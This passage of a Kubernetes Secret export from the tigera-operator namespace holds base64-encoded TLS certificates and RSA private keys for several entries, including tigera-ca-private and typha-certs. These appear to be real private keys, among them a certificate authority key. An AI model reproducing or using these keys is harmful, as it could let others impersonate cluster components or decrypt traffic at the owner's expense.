RqR09ya0puVmdkaVBvODVxTksreTluaFlBSXllQXdXbWRLKwpWWG1lNnlpK1IxR3lJL2pRdGw5alJhSWxXdE9yOUczQVdUZ0grSGM1VnB5RzZwcERkbktvCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: node-certs
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821077"
    uid: bdfc6331-1d99-4596-b4b6-52382e4f7e0b
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJQkFrMUpVeVM2dFl3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFnRncweU5URXdNVGt4TmpFeU1qRmFHQTh5TVRJMQpNRGt5TlRFMk1USXlNbG93SVRFZk1CMEdBMVVFQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakNDCkFTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBSWlkTWN6ZGJtNDdTbWk1Vm9FSUxlQjIKQkV3S1Nudi9zTzF5VHlTeTRPM1A4R2k1WCtqY1g3cnVjSVljcFRvVW45NmxSc3lSNnJnRjkrYkxRT2VaN3JUdQozSXRWWVJrTjVVSUEweURKbjloRHV2YzMyWVh2ZEtZdU5aelZScWEwelJ6LzlwSllROS8yY2w5MEh3QWR2b3Q4CkFWaGZ4UFBhT2NnaVBrM2hEYWxLSXRucWtpaEg3UFl1NnJtNzE0S1B5d0dlUGg5ZTdwMStHUmFkbHBaT0N1RysKR0lGbjA3VE9BYlRDbkVPSDBOSDI0Q1VIUmlZY3lLWVVGUDJ2WDIxVEd3MGtXMWI2UGxYZDFMK3lGSzIrLzFQbQpkNGtiQTJNSGVQRGJ6TmZJUlZQZGlJajNyaURiNHZHK0ZVa2Voc2x3SStlSVkvbHo1dDFKSE43UTZBd0JNdEVDCkF3RUFBYU5qTUdFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME8KQkJZRUZMY0s1bHRBdGZJcXI2Yyt2Y3FSNnFobHlHU2pNQjhHQTFVZEl3UVlNQmFBRkxjSzVsdEF0ZklxcjZjKwp2Y3FSNnFobHlHU2pNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUJtK3NIanJZQW8rOU53SDIxNEJOM3pxaXJBClpadzhURjI2MGxzODF6a3gzakJGQ012bFhvVHRoRmhFNVRBM0hOUjdzRnkwbGJUb2pkNmw2TVFYcHpGWjgwSU0KQzArck01Q0M2YlZqYksvK2lBcVZyemg4VEdWbDVSbDJhSVBISi8zanNwNzdDSUVuckJIdTdrRGxtVVlVbE02TgpveGM3bnMwWTRtWHdNa055bEVSTUVtUHlSNGh5azM1aHA1TXRHMSszQTRVdFdIZWZvV0RhZnFrWHlQcURuNHpJCjkzNFQwTUJBd0pFWkNWb21rZE5KNkpDVnBWajBWTWNEd3FlNGZwZ2FBd1NNanBhMkVYd3VRcEhkQjBaUSt0QlcKejBsRk44ZGNWT3dMcGRHN09UUTFyV0NtUCtvM0xCeXBDSUYyZ3hQOGRsMnZHNHZvTDdJa1grZlp1emVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBaUoweHpOMXVianRLYUxsV2dRZ3Q0SFlFVEFwS2UvK3c3WEpQSkxMZzdjL3dhTGxmCjZOeGZ1dTV3aGh5bE9oU2YzcVZHekpIcXVBWDM1c3RBNTVudXRPN2NpMVZoR1EzbFFnRFRJTW1mMkVPNjl6ZloKaGU5MHBpNDFuTlZHcHJUTkhQLzJrbGhEMy9aeVgzUWZBQjIraTN3QldGL0U4OW81eUNJK1RlRU5xVW9pMmVxUwpLRWZzOWk3cXVidlhnby9MQVo0K0gxN3VuWDRaRnAyV2xrNEs0YjRZZ1dmVHRNNEJ0TUtjUTRmUTBmYmdKUWRHCkpoeklwaFFVL2E5ZmJWTWJEU1JiVnZvK1ZkM1V2N0lVcmI3L1UrWjNpUnNEWXdkNDhOdk0xOGhGVTkySWlQZXUKSU52aThiNFZTUjZHeVhBajU0aGorWFBtM1VrYzN0RG9EQUV5MFFJREFRQUJBb0lCQUFEVU5nVjdObnlwYVhDQgo1MlROdFpHT0d4cVJyc0FGTTMvNEEwT1lFNXRUSkFTai9mditFbFZOQ3hacWtyOXJ6cDNka2pTOWtleTBtZVltCjhqN2dMK2hJZkJnYkF0clJ1eGxsR0kySXRsVkJScDk4dkVUVUhpTnFxN0tjUWdYUzc3SlpyMEpXRWh0ZGRjdUoKMElKWFZvZW16MDlIb3RINVQxa2ROQlErNWE2b1IrYlNLZXdkOWZiSWpNOUN4dFVDT3VFUFc0OXpjeTUzR1B2VgpsSityaFg3QjhZSnZnTVp5cEV5UGJFa2FvbktzMGU4dFI4aG4vTXBacjU5aVFTbFFNUTd3ODVhUVAwZzhReDgwCkFVNjM5cUVyREd2THFOYkxwc2o1ZEMyWTJqQjFNcDlGVW45ay9tKy9RV2orR2tFTHlzU3VZakRXaU5kbFJRdjYKY01ObWd0RUNnWUVBdlJBc1UraG1RdUZ4WTMvVXZaK0dyK0VKMS9vUUV5cTYwZGVUNGRXVVpUSFRsblNTOGk1dQp6YkZlbXVZc1ZQS041MDRSUVl3QlFlbWpNeGxhRHQzNDR1VXE2eTN2WE91U1pxaDlMZ1FpT2Y4R3JZMmhLVzVlCkg4ZVJDSjg3dE43TSthRTdXWURGNm5zQml0T3VyWWJROFFGdWhlWkticTI5U3dndDFzcHQwUzBDZ1lFQXVQdEYKS3ZoLytkdFViYy96RHQzWWQ2UXV0eXJoY05xb0tva2l1M1ZQOXd6RGZ3UTlkbnFFRDJkYUJPTlBVNHZEa0ZhMwpLNlRGSXZOL1J1cWlwTDJ3ckNsQmFac1gydUd1eEh2RDZrWVZ5WW5lalNQN0RXQzJFSEYwRlUwaE1kY1lja2RECkJrVC8raUgxaE84MHJkR0JmYkx1bW8xd0QweHhrZkp2RnZBU1JyVUNnWUFZMnc5NDJJelpMaHBpSW1RdHFkTmoKUEFxM1FrRHF4Q3RiZXlRT0JLNUZ2NDg1c0luQkhTbWtFVFdHMTh2c1B4YzQyYUtiSTNUbTNYaC9OMDRIdGxjSwpQV2F2RkpMcmZHejY0aHZTK09nbkI4Z3crUFcvSkt0ck1pbDNJTGdReDFuYlY3OGR2VGhINDNRSWRGdjZwRWJECjZKUkhOa2VDMVlTVllMWG1EeWJ3NFFLQmdINlhac1I3ZjRsTU1rRmNXR2hLSmdQcWxoWEFBTHdzeDMwa2tHSmQKYkRZVHhBNCtwcGxZU3R3SHpMRWZwbi8wWEFlQmNLVXJnOFhoZ2E3VWtDM1Jxd0NHMHo4a1puVGlrYW5oVVRnWQpjbnlVSDN2VHJkRi81OWprNjU1UVJIRkpWRytRbVN2SE9LN0RZclJ3eDBwVTRCdFh3clorS0x3dmdtRncyZG1HCnZkc3BBb0dBR1BjV0syWDFPTzY5bjlMeTBvdTcwOURtL3JrOWVDS1M3eG5BNWNpT2ptOFMyc1RkN3UwNlNPdmMKOVhQL2JPUXBHWU80VWM4bFU5T3ZuMWFKcVhTcitjdi9BVHBBNmpHR0ZEY0NQWmlLS0NRQnFHaFdYK1ZHVkRYcApTVmRlRnZ5UEZTRlI5YmdqWTVmQncySFBuelE2anI5WGVkSDN1V3FUSXNpYlVOSHk3MUk9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:22Z"
    name: tigera-ca-private
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821053"
    uid: fe055b1d-91ff-4d7f-9082-da91b2ac33bf
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURYakNDQWthZ0F3SUJBZ0lJVHE4WUtmdFYreTB3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQmN4RlRBVEJnTlZCQU1UREhSNWNHaGhMWE5sY25abGNqQ0NBU0l3RFFZSktvWklodmNOCkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFKQnpkOWl4S2tLYWR1UjZxc3ZnODRmUVJwdlo1MzJUNzlFL1llcmsKMGpmLzhyandTWHpvb0E1M2ppVUwzbE1WUFRUYjg0bmtGOFpCOXFlTzN5M2l5TVFhUGU1NlVLd09zakFpQjBqdQpOb3VPcThhMWppWjVBSE51OHgrd2J2WHlvVnBFaFUvdSt2bnAybXFzakk3MnlVVHRkUkMrM25za2paWW5mRHRVCnRNWE8zZGtwN3RDRkF1eHZtTEl6N2laM05ZZVRJUm54a0FDdURqL3lRS2FYNFRPSStLWkRnU1RlTFpVQWNvSWMKT2tBMEUrOGdCQ1pJRDJNL0toSGxKNzJWc3pldnpZV2xmak5hTzJmcEwrNCtpaEJXZjBIWjVyNXIzeDJYMXFlZQpIL1pWRjBweFhWV2ZtbEQ1MERNUGRTbnJGeDkvbkNLc3BxNmh3VG1vWXpWUmxxY0NBd0VBQWFPQm96Q0JvREFPCkJnTlZIUThCQWY4RUJBTUNCYUF3SndZRFZSMGxCQ0F3SGdZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQkJnZ3IKQmdFRkJRY0RBakFNQmdOVkhSTUJBZjhFQWpBQU1CMEdBMVVkRGdRV0JCUzN2MEM1UjZaekJzOUdhdGJoYzFNNwplMnY4UnpBZkJnTlZIU01FR0RBV2dCUzNDdVpiUUxYeUtxK25QcjNLa2Vxb1pjaGtvekFYQmdOVkhSRUVFREFPCmdneDBlWEJvWVMxelpYSjJaWEl3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUNMa0xXT01wYnBFaklIUW9WVmQKSm5pdVhpcUtWVUdQanNvYWkxdFR3a3Nkam5VR3luRXhETERmZzlqQVdUaEZkREtjUTRYaWYrQkVpalZNZTBrUgo2QnYzUFdUK3BYdmdoZjVJL0tSc0YwT290eTA4eXN6YTh1NlJRbUcrTlFsMndDRFdTU2ZiQXRiUGNVNFJmd015CjRoZ0FaazlHbkJzc1EzUTc2dWROeGZDM0V4SW9icTRRVlBxNUhRVFhiZnNpNVAxVjdkYlAwUGZRLy8zRkozRGkKY0FvdXdaZzloS0dIYkw1UTA3QlpsSTJhTTZ2WHZ3a3RpMXBWc3Z5ckpuUDR0d0dkb3RJY0MrVFpkNkd5SHg0OApXZ2lEOEttenVUQ1JZU1hidlR1Sm4ydmwvaFIvMDVuV09ZRFBzaW4rRFBJeXJJN2RLcmNqNmlYUkhEOWc2azMzClNCUT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBa0hOMzJMRXFRcHAyNUhxcXkrRHpoOUJHbTlubmZaUHYwVDloNnVUU04vL3l1UEJKCmZPaWdEbmVPSlF2ZVV4VTlOTnZ6aWVRWHhrSDJwNDdmTGVMSXhCbzk3bnBRckE2eU1DSUhTTzQyaTQ2cnhyV08KSm5rQWMyN3pIN0J1OWZLaFdrU0ZUKzc2K2VuYWFxeU1qdmJKUk8xMUVMN2VleVNObGlkOE8xUzB4YzdkMlNudQowSVVDN0crWXNqUHVKbmMxaDVNaEdmR1FBSzRPUC9KQXBwZmhNNGo0cGtPQkpONHRsUUJ5Z2h3NlFEUVQ3eUFFCkprZ1BZejhxRWVVbnZaV3pONi9OaGFWK00xbzdaK2t2N2o2S0VGWi9RZG5tdm12ZkhaZldwNTRmOWxVWFNuRmQKVlorYVVQblFNdzkxS2VzWEgzK2NJcXltcnFIQk9haGpOVkdXcHdJREFRQUJBb0lCQUFuWkxZSERGbkFEQ3ZtLwpMcGVHM0k1VkVnaW5LRzY1NENtdEtoWmQzUmZwK3k1R1hQbWNwejVGUXNEZUxjZ09xYy9KblRHT0JseERKcmRtCnpoV0Q5dVIrZ053YVQ4SU45Y2ZDcDM5K2xPUEZQdUNRZysxZ2tPVE4ydHFTdmdYeEJ3b3ZUaGdwNFhKRTBpK0sKcmNIdUs4RVNJQjlHVVhIUTNLeGJsYzg2WjdiQ3JuTjBpSThQa2t2MWpOUkg2eEdjV3dPNWJnUVF6V3hFWjQ1Nwo3S1Nia21YdDNwYUx3YmFoS3kramk5aWpZenFXZVRJWmZPZmc2WHBkUjJ0T3R0ajZSQlRpcU9zU2JGbHE3MEZYCmRmMFJpTm15aUdGb1pTVXd2dHdENUFPdG4rSFJxQ2c0TTNPMERhOUw3WWMzRlFlZVdXajhRRUloemdJVDBOSUoKR3UxRVQvRUNnWUVBdzNGM2JBdEpiWS9GNEU1Mk93Z0s0VVF5Ny9vTEdqL1VlZW5PQ2t4OWRaa2NEUXhadlpWYgpiNUdQcHBPU3JGU0d4eEpsZXV4NWJodjhNMWU1dkoyZHNQUWhBWi9NbGdKcGhVZjUvWEFOR2haUHd4eGoyeWNmCkRJUjhLR0ZvVkdxUi9CS0poYnN0S05CMEpYaWRLTjhEWE5WSGNhN2RBTVltZTlxQkUzNDZUUEVDZ1lFQXZUVk8KMWxRZ1pWM2szcHJmVyt6S3FDZ0tRWVZEbWhWWmdpUjFmSVF6dm5nNzhUMXdqWUFmMm4xNU5jMEdvcDFoNVBidQpJNEh6Y3lHVGI3THU3NEJ0TmRSZFZZMk9kU3d5Zm8xNlgrTXB5eFNLaHJhZWg3Ykhxd2Z5MFpvSzdSRDRDYmphCnRrWHJNQS9DdmpXdUVncWpPS2IxdlFTRGQ2ak1zUjgzcmpxemZSY0NnWUVBaTUzbUF0LzVQM1JDbGg5VzVJcTEKUXdFMkppcUlmZUwxUlhZWmcwL3JHL1FaanRTdzB2YjhUN0k3WFhMMGgza0dvdlZvV3l6TS9qU3RzSHZOcW9rcQpHanY3ekM0OHR6alg2cWRsVllBVFMveCtWRkpXbnpyT09tSDJVOTVwNmt3TEozaVNsMThFUHJEVEYrV1cxNWlnCnpWTnE2ekpRbkhueENlOG80Q1QvUHZFQ2dZQnJ0ek9BdFRnVVBWWVVuTnJYL0lDTEp2QmZ5THhwdGduVkcyaC8KVU13Y2ZWcXl4aVdUaVFPWllhRmx6YWtmWHJYaW9lbUU4WEJsZFJING4wZUR0ZnQyajhYcTlNSExWelFQOC85ZApJM2doa3pvaDQwbHhQYytDUU80dUFhS0N3QXhWakpXRysxc2ZhM21VeS82amFzYnRjNittd2pFT0tGMFA0UlBUCjdydE1WUUtCZ0hEdFFsYTNxNm1jOHQ1NDZDYzIxMlE2akVqT1lpcExVVWxpNTZnY20zZGFqYTBlRjR1YmpGSVEKRVpsVThoWEJ2RE94U1JYY25RT20vWTBMRmFKOHpSYk1Ua2FzWEpZU2NyQWV1ZkcweDdXOG9YVEpKOWFEam5WQgppbzFkaFpjQnU1aEQ4Yi90U0tvSnJWYlMvNmc2SStJRmJPaTh1dGdkWktXZDZHRXpPUXpKCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: typha-certs
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821079"
    uid: fe3ff0c4-d386-4318-92b2-e863422e9d69
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURmakNDQW1hZ0F3SUJBZ0lJSTArVEl3aTVCWUF3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQ2N4SlRBakJnTlZCQU1USEhSNWNHaGhMWE5sY25abGNpMXViMjVqYkhWemRHVnlMV2h2CmMzUXdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFEQkNHeDlHRWFFOGR1WHl1N2QKcE1KdldPNlI4RGxkazJpaCs5WFhoREQySWI1amkwaEVDRWlxcHBJOHhyYXh5MjFrMVFjdGxZMUdCdjgvRFR4OQpaT2VycnlGdGh4MjVEZGs0dGpQelI5QThubWd5c2V0d0dvb015aGh6Mmx0cEZTMmlvVWxNTi94bTNxNERJR3RvCnJaSDlCNUZKbVd0OUtMRFFyVXRDVVFLWjBtZTQ4T2hreExmd1NzWDYrMmFmcVlUZVJOYlVreVRGaVJ4bFF2TDcKN1I4RXRwOWFvQzVDcHgyNnlSNWsvSDNmMlBzSGsraGZ2SzIxLzd3NmkvNDdZZHd1STJLTi9QNFprMy9oWFZaZQplNkk5Z3FoTFFYZEJPaGxsV2QyUXJJeVBid04rWm1HS0c1cmZhSFFDRWNIVGFuUmFFTlp0TjlnZmdVNHdBODZjCjU1eTdBZ01CQUFHamdiTXdnYkF3RGdZRFZSMFBBUUgvQkFRREFnV2dNQ2NHQTFVZEpRUWdNQjRHQ0NzR0FRVUYKQndNQkJnZ3JCZ0VGQlFjREFRWUlLd1lCQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZEJnTlZIUTRFRmdRVQp4aU9pQWVtVTNaTUltNFo0QUZMVnJLc0Y2aFl3SHdZRFZSMGpCQmd3Rm9BVXR3cm1XMEMxOGlxdnB6Njl5cEhxCnFHWElaS013SndZRFZSMFJCQ0F3SG9JY2RIbHdhR0V0YzJWeWRtVnlMVzV2Ym1Oc2RYTjBaWEl0YUc5emREQU4KQmdrcWhraUc5dzBCQVFzRkFBT0NBUUVBR2wxOWkzekFMV0RjVHlLQm8yWEU1Ym9US2xZa0R2WmNGQ3FKaHdzTwpmWVgySnFPK1NQdlR6SVNCOXIvK1g1MzM5VEdacDNGWUFyUnN2czEwR3RranRlN241WE1RRHljc0Z4SXRocnhnCjdjelVBTTUwMEdnYy9Va2NlTTdzYjZHWVN0aGEva3ZMSG45RGNHbk93eC8vQVhrNFR0aEw5OEFtclE1ODJadWcKVkhGb0p2OGt0WUZWeWV5RWxNMHFyeCtIaTNFSmZTSTN4T0hDaUV4M2RuSUhZSVlaSkFRSXRZVkZ5UGZkc3prbgpUT0srcWdpL1BkTTM3aDJtU0lTWFQ5S28vd1VHUmg3Zmw0QzFQVkZrNHV3NmRnajVPRW5BSnJPWFJ5bDdPUTlHCjVvSXRxZUdvb05lZ0NkakNHcndndHdRMlY4RjMrcDhUN1ZQTmYzMVlFVitvSkE9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlES1RDQ0FoR2dBd0lCQWdJSUJBazFKVXlTNnRZd0RRWUpLb1pJaHZjTkFRRUxCUUF3SVRFZk1CMEdBMVVFCkF4TVdkR2xuWlhKaExXOXdaWEpoZEc5eUxYTnBaMjVsY2pBZ0Z3MHlOVEV3TVRreE5qRXlNakZhR0E4eU1USTEKTURreU5URTJNVEl5TWxvd0lURWZNQjBHQTFVRUF4TVdkR2xuWlhKaExXOXdaWEpoZEc5eUxYTnBaMjVsY2pDQwpBU0l3RFFZSktvWklodmNOQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUlpZE1jemRibTQ3U21pNVZvRUlMZUIyCkJFd0tTbnYvc08xeVR5U3k0TzNQOEdpNVgramNYN3J1Y0lZY3BUb1VuOTZsUnN5UjZyZ0Y5K2JMUU9lWjdyVHUKM0l0VllSa041VUlBMHlESm45aER1dmMzMllYdmRLWXVOWnpWUnFhMHpSei85cEpZUTkvMmNsOTBId0Fkdm90OApBVmhmeFBQYU9jZ2lQazNoRGFsS0l0bnFraWhIN1BZdTZybTcxNEtQeXdHZVBoOWU3cDErR1JhZGxwWk9DdUcrCkdJRm4wN1RPQWJUQ25FT0gwTkgyNENVSFJpWWN5S1lVRlAydlgyMVRHdzBrVzFiNlBsWGQxTCt5RksyKy8xUG0KZDRrYkEyTUhlUERiek5mSVJWUGRpSWozcmlEYjR2RytGVWtlaHNsd0krZUlZL2x6NXQxSkhON1E2QXdCTXRFQwpBd0VBQWFOak1HRXdEZ1lEVlIwUEFRSC9CQVFEQWdLa01BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPCkJCWUVGTGNLNWx0QXRmSXFyNmMrdmNxUjZxaGx5R1NqTUI4R0ExVWRJd1FZTUJhQUZMY0s1bHRBdGZJcXI2YysKdmNxUjZxaGx5R1NqTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElCQVFCbStzSGpyWUFvKzlOd0gyMTRCTjN6cWlyQQpaWnc4VEYyNjBsczgxemt4M2pCRkNNdmxYb1R0aEZoRTVUQTNITlI3c0Z5MGxiVG9qZDZsNk1RWHB6Rlo4MElNCkMwK3JNNUNDNmJWamJLLytpQXFWcnpoOFRHVmw1UmwyYUlQSEovM2pzcDc3Q0lFbnJCSHU3a0RsbVVZVWxNNk4Kb3hjN25zMFk0bVh3TWtOeWxFUk1FbVB5UjRoeWszNWhwNU10RzErM0E0VXRXSGVmb1dEYWZxa1h5UHFEbjR6SQo5MzRUME1CQXdKRVpDVm9ta2ROSjZKQ1ZwVmowVk1jRHdxZTRmcGdhQXdTTWpwYTJFWHd1UXBIZEIwWlErdEJXCnowbEZOOGRjVk93THBkRzdPVFExcldDbVArbzNMQnlwQ0lGMmd4UDhkbDJ2RzR2b0w3SWtYK2ZadXplZQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcFFJQkFBS0NBUUVBd1Foc2ZSaEdoUEhibDhydTNhVENiMWp1a2ZBNVhaTm9vZnZWMTRRdzlpRytZNHRJClJBaElxcWFTUE1hMnNjdHRaTlVITFpXTlJnYi9QdzA4ZldUbnE2OGhiWWNkdVEzWk9MWXo4MGZRUEo1b01ySHIKY0JxS0RNb1ljOXBiYVJVdG9xRkpURGY4WnQ2dUF5QnJhSzJSL1FlUlNabHJmU2l3MEsxTFFsRUNtZEpudVBEbwpaTVMzOEVyRit2dG1uNm1FM2tUVzFKTWt4WWtjWlVMeSsrMGZCTGFmV3FBdVFxY2R1c2tlWlB4OTM5ajdCNVBvClg3eXR0Zis4T292K08ySGNMaU5pamZ6K0daTi80VjFXWG51aVBZS29TMEYzUVRvWlpWbmRrS3lNajI4RGZtWmgKaWh1YTMyaDBBaEhCMDJwMFdoRFdiVGZZSDRGT01BUE9uT2VjdXdJREFRQUJBb0lCQUNnSDdpKzNGQkRIODJrMApQWHNiaXZMNmQyY3VjVWNWcGRKSjNwdjJIdzA4RERhcWtNOERCTWJYQ21hdU12OEdGK2FjUXdQU0N0MGw0Rk1jCkZKcFFqYmJOOTltMTlwVUU2VEpZbnNkcDhpWlFGMzNENWZaMm1vQnlmTVd4MTlrZitqbkt4dCtXa0xKb3BaK2kKWG9QejB0MnRieFRiU3k1R2ZQeVpvNHphTGZibURrYjM5S0M4bHBpb25lenBqeTA4UmxFUXJTbnMvSS9wcUlDUAp2VUtzc3phbGJYTHIxdlprb1dtSXhWN0t1ZCtlUEZVMCtRcjNmbDlackZSbDVsUHlhdjhyTnEyMjN5Z3lpNk5ECkhwdDJ4V0pJU2J3M2N3NVNMdlVYanBNNGhqS2Eydjhza0pnMjY3RVRweVA3Znorc25NTDZYR2loZVY1bUp0YlQKRVM5RUVua0NnWUVBM3J3QkJwOW5oWVFxUFA3Q0pMbnFJemNwZG40dHNUa1pKRWtldlJYQW80NE9RNzB5SmFFbAorZEVRTmowVVZYbEZhS0hsWkFhVkhwb1Z0eHZ2WnRFZ2laeG5SRmtPd2hpd0EwOHVuUjFsc1k2T0tHUUFTUlFyCldyK3ZpK0RreEpmOHBvclc2UU4wbU4wMkVGVVlod3RFVC8ybWc1RXM4RkZIaHdwZHk3TUxhczBDZ1lFQTNkelIKT1hvbDJiemtUakFxQ1VmQzkvN0o0ekxabGJ6aElNWFB3Tmd0Nm5ueEhwaytKNkZxL2ltY1MvbmVzSXB3S1Q4UAo2Y2YraHlBaDdtYnJNd0RWdTM1WlFEQXhRVm9CMzBaM1pUZEQyS3FoQktaaFJaTWJRL0c3OUxLUTllTGxTZnVtCk9xS1RraVJEd0laeElweXRtakFYaUQycitOckN1dDNQVExtNnRhY0NnWUVBa0VWU25NbVBzbW9ET2ZNQ0tldksKZnZqeUFIQ0doQzZwM0ZrSWNnMnU4OEhGOTVhSzd0ak0wbDNhbEdkSHpuMTR1ZWR6d0RDTFVvRVg0NzFTZWxTbgpNTHVBSUVOWFRkM1QxTERyVHBXR0UxWjFPakJjQnZucmd5SjZRSzV4UCszNmxwMkR5dmFVQlpmenR1eUhzS0ZaCnBENTJKdTVZSDJsbVhWQVhwU1BhRjFrQ2dZRUFzclRzWHFUU0dqbjVtRFZabHRJVDdOaHhYQzJZYi9HTlVXMmsKczR3dUtBR0RSQWRodG1CaUkwbjNHSWV6WlhhTmM5dlZBSlZVb3hreDI2dFE1bXRVdmNxL0wySGlPdWE2UFZPdwpWbm9XajA2WmxucENQZDJKaDhnT2dzTFcyd2loY2w5ZWZUcDVMYTFDV2JDeExwVVBqUFFSOEc3a3QvWFdCdGtsCjRvSjBMMThDZ1lFQWsxVWxMOWpmU3Q1V1lxUEVteU01YW92dTJLNE1nRWNtVktBNUU5K0hOQUZHR283NE5EYzEKYWxzTUQxS20vR0UwYVU1aUpDZXlwR0dSWXZvSUgwT2RnbHdiOHlhNzVnWmtlWDh6UVptZVpGay9tMy9acWYxZApkQWEwbDYzRjVHdmZNVHozYWxOTVlqSklTU1pORzg